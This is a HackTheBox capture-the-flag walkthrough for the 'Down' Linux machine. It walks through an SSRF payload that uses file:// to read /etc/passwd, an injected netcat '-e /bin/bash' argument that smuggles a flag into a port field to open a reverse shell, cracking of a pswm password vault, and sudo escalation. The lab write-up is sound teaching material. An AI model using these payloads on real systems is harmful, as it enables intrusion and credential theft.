Down writeup & walkthrough

Down is an easy HackTheBox Linux machine exploiting SSRF via curl multi-URL abuse to read local files, then injecting netcat flags through a parameter injection vulnerability for RCE. Privilege escalation cracks a pswm password vault to get credentials for unrestricted sudo access.

These commands were used in this walkthrough: https://youtu.be/kChEJlTfums

Access Path

no access => aleks => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sC -sV <target_ip>

# ─── SSRF via curl multi-URL / file:// bypass ──────────────────────────────

# Web app passes user URL to curl; append file:// to read local files
# Input: http://localhost file:///etc/passwd
# Input: http://localhost file:///var/www/html/index.php

nc -lnvp 8080
# Confirm curl User-Agent hitting your listener

# ─── Parameter Injection: netcat RCE ───────────────────────────────────────

# escapeshellcmd() doesn't strip flags - inject -e into nc call
# Port field payload: 8080 -e /bin/bash
nc -lnvp 8080

# ─── Privilege Escalation: pswm vault ──────────────────────────────────────

find ~ -name "pswm" -o -name "*pswm*" 2>/dev/null

git clone https://github.com/seriotonctf/pswm-decryptor
python3 pswm-decryptor.py -f ~/.local/share/pswm/pswm -w /usr/share/wordlists/rockyou.txt

# SSH with cracked credentials
ssh aleks@<target_ip>

sudo -l
# => unrestricted sudo
sudo su -